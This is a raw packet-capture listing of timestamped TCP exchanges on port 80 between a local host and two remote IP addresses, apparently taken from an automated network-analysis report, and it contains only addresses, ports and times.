Jan 13, 2022 20:51:24.249813080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.250103951 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.250121117 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.321300030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321566105 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321603060 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321634054 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321660042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321666956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.321681023 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321701050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321723938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321757078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321779966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321779966 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.321784973 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.321803093 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.321844101 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.321914911 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393007040 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393053055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393074989 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393095970 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393120050 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393167019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393168926 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393182039 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393188953 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393213987 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393237114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393260956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393261909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393264055 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393287897 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393313885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393341064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393352032 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393354893 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393367052 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393390894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393416882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393441916 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393459082 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393461943 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.393467903 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393493891 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.393634081 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.464673996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464761019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464787006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464811087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464834929 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.464837074 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464849949 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.464860916 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464884043 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464907885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464926004 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.464930058 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.464934111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464957952 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.464982033 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465006113 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465027094 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465030909 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465030909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465053082 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465078115 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465102911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465125084 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465125084 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465128899 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465150118 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465291977 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465318918 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465336084 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465338945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465339899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465363026 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465385914 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465404987 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465425014 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465425014 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465428114 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465447903 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465471029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465492010 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465514898 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465526104 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465528965 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465539932 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465564966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465589046 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465611935 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465614080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465615988 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465640068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465691090 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465713024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.465739012 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.465743065 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.498702049 CET	49826	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.536262035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536298037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536319971 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536329031 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536339998 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536362886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536384106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536406040 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536428928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536439896 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536443949 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536578894 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536595106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536622047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536644936 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536653996 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536668062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536690950 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536730051 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536735058 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536761045 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536784887 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536808968 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536834002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536855936 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536879063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536883116 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536886930 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536902905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536927938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536950111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536973953 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.536982059 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536986113 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.536998034 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537023067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537043095 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537069082 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537094116 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537293911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537319899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537343979 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537349939 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537367105 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537389994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537412882 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537414074 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537437916 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537461042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537486076 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537501097 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537503958 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537511110 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537533045 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537554026 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537575960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537578106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537580013 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537600994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537626982 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537651062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537676096 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537684917 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537688017 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537700891 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537725925 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537750006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.537771940 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.537775993 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.553162098 CET	80	49826	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.553258896 CET	49826	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.553448915 CET	49826	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.553497076 CET	49826	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.590125084 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.607620955 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.607657909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.607683897 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.607709885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.607731104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.607753038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.607775927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.607784033 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.607798100 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.607798100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.607816935 CET	80	49826	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.607847929 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.607852936 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608105898 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608127117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608150005 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608172894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608195066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608217001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608227968 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608233929 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608242035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608292103 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608314991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608338118 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608340979 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608345985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608402014 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608423948 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608448029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608468056 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608469963 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608473063 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608494043 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608539104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608582973 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608591080 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608701944 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608766079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608788967 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608810902 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608834028 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608856916 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608858109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608860970 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608902931 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608925104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608947039 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608968973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.608968973 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.608973026 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.609034061 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609056950 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609078884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609102011 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609112978 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.609117985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.609127045 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609152079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609175920 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609199047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609209061 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.609213114 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.609239101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609266996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609288931 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609308958 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.609313011 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.609313965 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.609879971 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.661310911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.661345959 CET	80	49826	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.661370993 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.661484003 CET	49826	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.661490917 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.661600113 CET	49826	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.678879023 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.678911924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.678935051 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.678960085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.678982973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.678997040 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679006100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679030895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679054976 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679059982 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679064989 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679163933 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679186106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679236889 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679241896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679241896 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679265022 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679310083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679366112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679390907 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679410934 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679415941 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679424047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679449081 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679474115 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679514885 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679519892 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679538965 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679562092 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679604053 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679625034 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679647923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679667950 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679670095 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679672956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679851055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679872990 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679929972 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679935932 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.679943085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.679968119 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680036068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680058956 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680100918 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.680109024 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.680183887 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680208921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680233002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680259943 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.680269003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680279970 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680300951 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680325985 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680335045 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.680399895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680425882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680450916 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.680450916 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680454969 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.680476904 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680491924 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.680505037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680517912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680540085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.680578947 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.680960894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.681015015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.681760073 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.692706108 CET	49828	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.716427088 CET	80	49826	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.732647896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.732678890 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.734940052 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750211954 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750243902 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750269890 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750293016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750317097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750340939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750344038 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750358105 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750365019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750391006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750415087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750439882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.750447035 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750449896 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.750463009 CET	80	49825	141.8.194.74	192.168.2.5
